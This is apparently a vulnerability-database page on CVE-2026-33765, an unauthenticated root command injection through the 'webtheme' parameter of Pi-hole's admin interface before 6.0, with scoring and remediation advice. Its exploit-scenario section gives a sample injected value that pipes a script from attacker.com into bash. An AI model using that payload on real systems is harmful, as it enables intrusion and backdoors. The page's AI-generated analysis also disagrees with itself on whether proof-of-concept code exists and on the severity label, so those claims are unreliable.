Skip to main content

Web Interface EUVDEUVD-2026-16781

| CVE-2026-33765 HIGH
OS Command Injection (CWE-78)
2026-03-27 security-advisories@github.com
8.9
CVSS 4.0 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send POST request to savesettings.php
  2. Exploit
    Inject OS command in webtheme parameter
  3. Impact
    Execute arbitrary shell command as web server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit Pi-hole Admin Interface versions prior to 6.0 by sending a crafted POST request to savesettings.php with malicious payload in the 'webtheme' parameter. No authentication or user interaction required. Default installations are vulnerable.

Impact

This vulnerability represents critical real-world risk based on converging threat indicators. The CVSS 4.0 score of 8.9 reflects maximum exploitability: network attack vector (AV:N), low complexity (AC:L), no prerequisites (AT:N), no authentication required (PR:N), and no user interaction (UI:N), with high impact to confidentiality, integrity, and availability. The E:P metric confirms publicly available exploit code exists. While not listed in CISA KEV (no confirmed active exploitation in federal networks at time of analysis), the combination of unauthenticated remote access, trivial exploitation complexity, root privilege escalation, and POC availability creates an extremely high likelihood of exploitation. Pi-hole installations exposed to the internet or untrusted local networks face imminent compromise risk. The SSVC decision framework would classify this as immediate priority: exploitation proof exists (E:P), fully automatable (no human interaction required), and critical technical impact (arbitrary code execution as root). Organizations should treat this as a priority-one remediation regardless of the absence of KEV status.

Exploit ScenarioDerived

An unauthenticated attacker on the network scans for exposed Pi-hole admin interfaces and sends a crafted HTTP POST request to savesettings.php with a malicious webtheme parameter value such as 'default; curl http://attacker.com/backdoor.sh | bash #'. The vulnerable PHP code concatenates this input directly into a sudo-privileged exec() call without sanitization. The injected commands execute with root privileges, downloading and running a remote shell script that establishes persistent backdoor access, exfiltrates DNS query logs containing network browsing history, modifies DNS responses to redirect traffic, or pivots to attack other devices on the network. Given the network attack vector and zero authentication requirement, automated exploitation by botnets or opportunistic attackers is highly probable once targets are identified through internet-wide scans.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

Remote code execution with root privileges in Pi-hole Admin Interface versions prior to 6.0 allows unauthenticated attackers to execute arbitrary system commands. The vulnerability stems from unsanitized user input in the 'webtheme' parameter being concatenated directly into sudo-privileged exec() calls in savesettings.php. With CVSS 8.9 (Critical), network-accessible attack vector, and low complexity, this represents a severe compromise risk for Pi-hole deployments exposed to untrusted networks. Proof-of-concept code exists (CVSS E:P metric indicates exploitation proof available).

RemediationAI

Immediately upgrade Pi-hole Admin Interface to version 6.0 or later, which contains patches eliminating the command injection vulnerability through proper input validation and sanitization. Administrators should update using Pi-hole's standard update mechanism (pihole -up command) or by manually pulling the latest web interface code from the official repository. Until patching is complete, implement defense-in-depth controls: restrict web interface access through firewall rules to trusted IP ranges only, disable external internet access to the admin interface (typically port 80/443), or place Pi-hole behind a VPN or jump host for administrative access. Do not expose the admin interface to untrusted networks or the public internet. Verify successful upgrade by checking the version in the web interface footer or via pihole -v command. Review system logs for suspicious command execution patterns in Apache/lighttpd access logs and system audit logs to identify potential compromise prior to patching. Consult the official vendor advisory at https://github.com/pi-hole/web/security/advisories/GHSA-828h-5x96-rqx7 for additional mitigation guidance.

Affected VersionsENISA

Web < 6.0

Affected Packages

euvd web fix: 6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pi-hole is a DNS-based network-wide ad blocking solution that runs as a lightweight service on Linux systems. The vulnerability (CWE-78: OS Command Injection) exists in the PHP-based administrative web interface, specifically in savesettings.php. This file processes user-supplied configuration data through POST requests. The vulnerable code path takes the $_POST['webtheme'] parameter and directly concatenates it into a system command string passed to PHP's exec() function, which is wrapped with sudo for privilege elevation. Without input sanitization, validation, or parameterization, attackers can inject shell metacharacters (semicolons, pipes, backticks) to break out of the intended command context and execute arbitrary code. Since the parent process runs with sudo privileges, injected commands inherit root-level access to the underlying operating system, enabling complete system compromise.

Know when Web Interface gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:12 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
6.0
CVE Published
Mar 27, 2026 - 20:16 nvd
HIGH 8.9

DescriptionCVE.org

Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. Versions prior to 6.0 have a critical OS Command Injection vulnerability in the savesettings.php file. The application takes the user-controlled $_POST['webtheme'] parameter and concatenates it directly into a system command executed via PHP's exec() function. Since the input is neither sanitized nor validated before being passed to the shell, an attacker can append arbitrary system commands to the intended pihole command. Furthermore, because the command is executed with sudo privileges, the injected commands will run with elevated (likely root) privileges. Version 6.0 patches the issue.

Executive ViewAI

Why It Matters

Pi-hole Admin Interface versions before 6.0 contain a critical remote code execution vulnerability allowing unauthenticated attackers to execute arbitrary commands with root privileges on affected systems. Organizations running Pi-hole as DNS infrastructure or network-wide ad blocking should prioritize immediate patching, as the vulnerability is network-accessible and requires no authentication, creating direct risk to network integrity and potentially compromised DNS resolution across dependent systems.

Business Impact: Severe
Compensating Controls

Apply vendor patch to Pi-hole Admin Interface version 6.0 or later. If patching is delayed, implement network-level access restrictions by blocking untrusted connections to the Admin Interface port (typically 80/443) using firewall rules, limiting access to administrative networks only.

Threat Intelligence Overview

EPSS Score
0.6%
Top 31% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2023-23614 HIGH POC
8.8 Jan 26

Pi-hole®'s Web interface (based off of AdminLTE) provides a central location to manage your Pi-hole. Rated high severity

CVE-2021-29448 HIGH POC
8.8 Apr 15

Pi-hole is a Linux network-level advertisement and Internet tracker blocking application. Rated high severity (CVSS 8.8)

CVE-2025-59151 HIGH POC
8.2 Oct 27

HTTP response splitting in Pi-hole Admin Interface before 6.3 lets unauthenticated remote attackers inject CRLF sequence

CVE-2021-3706 HIGH POC
7.5 Sep 15

adminlte is vulnerable to Sensitive Cookie Without 'HttpOnly' Flag. Rated high severity (CVSS 7.5), this vulnerability i

CVE-2021-3812 MEDIUM POC
6.1 Sep 17

adminlte is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated me

CVE-2021-3811 MEDIUM POC
6.1 Sep 17

adminlte is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated me

CVE-2026-26953 MEDIUM POC
5.4 Feb 19

Stored HTML injection in Pi-hole Admin Interface versions 6.0+ allows authenticated attackers to inject arbitrary HTML i

CVE-2021-41175 MEDIUM POC
5.4 Oct 26

Pi-hole's Web interface (based on AdminLTE) provides a central location to manage one's Pi-hole and review the statistic

CVE-2025-53533 MEDIUM POC
5.1 Oct 27

Reflected cross-site scripting in the Pi-hole Admin Interface (web_interface) 6.2.1 and earlier lets a remote, unauthent

CVE-2026-33403 MEDIUM
6.1 Apr 06

Reflected DOM-based XSS in Pi-hole Admin Interface versions 6.0 through 6.4 allows unauthenticated attackers to inject a

CVE-2026-33406 MEDIUM
6.1 Apr 06

Stored cross-site scripting (XSS) via HTML attribute injection in Pi-hole Admin Interface versions 6.0 through 6.4 allow

CVE-2026-33404 MEDIUM
6.1 Apr 06

Pi-hole Admin Interface versions 6.0 through 6.4 fail to escape client hostnames and IP addresses from the FTL database

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy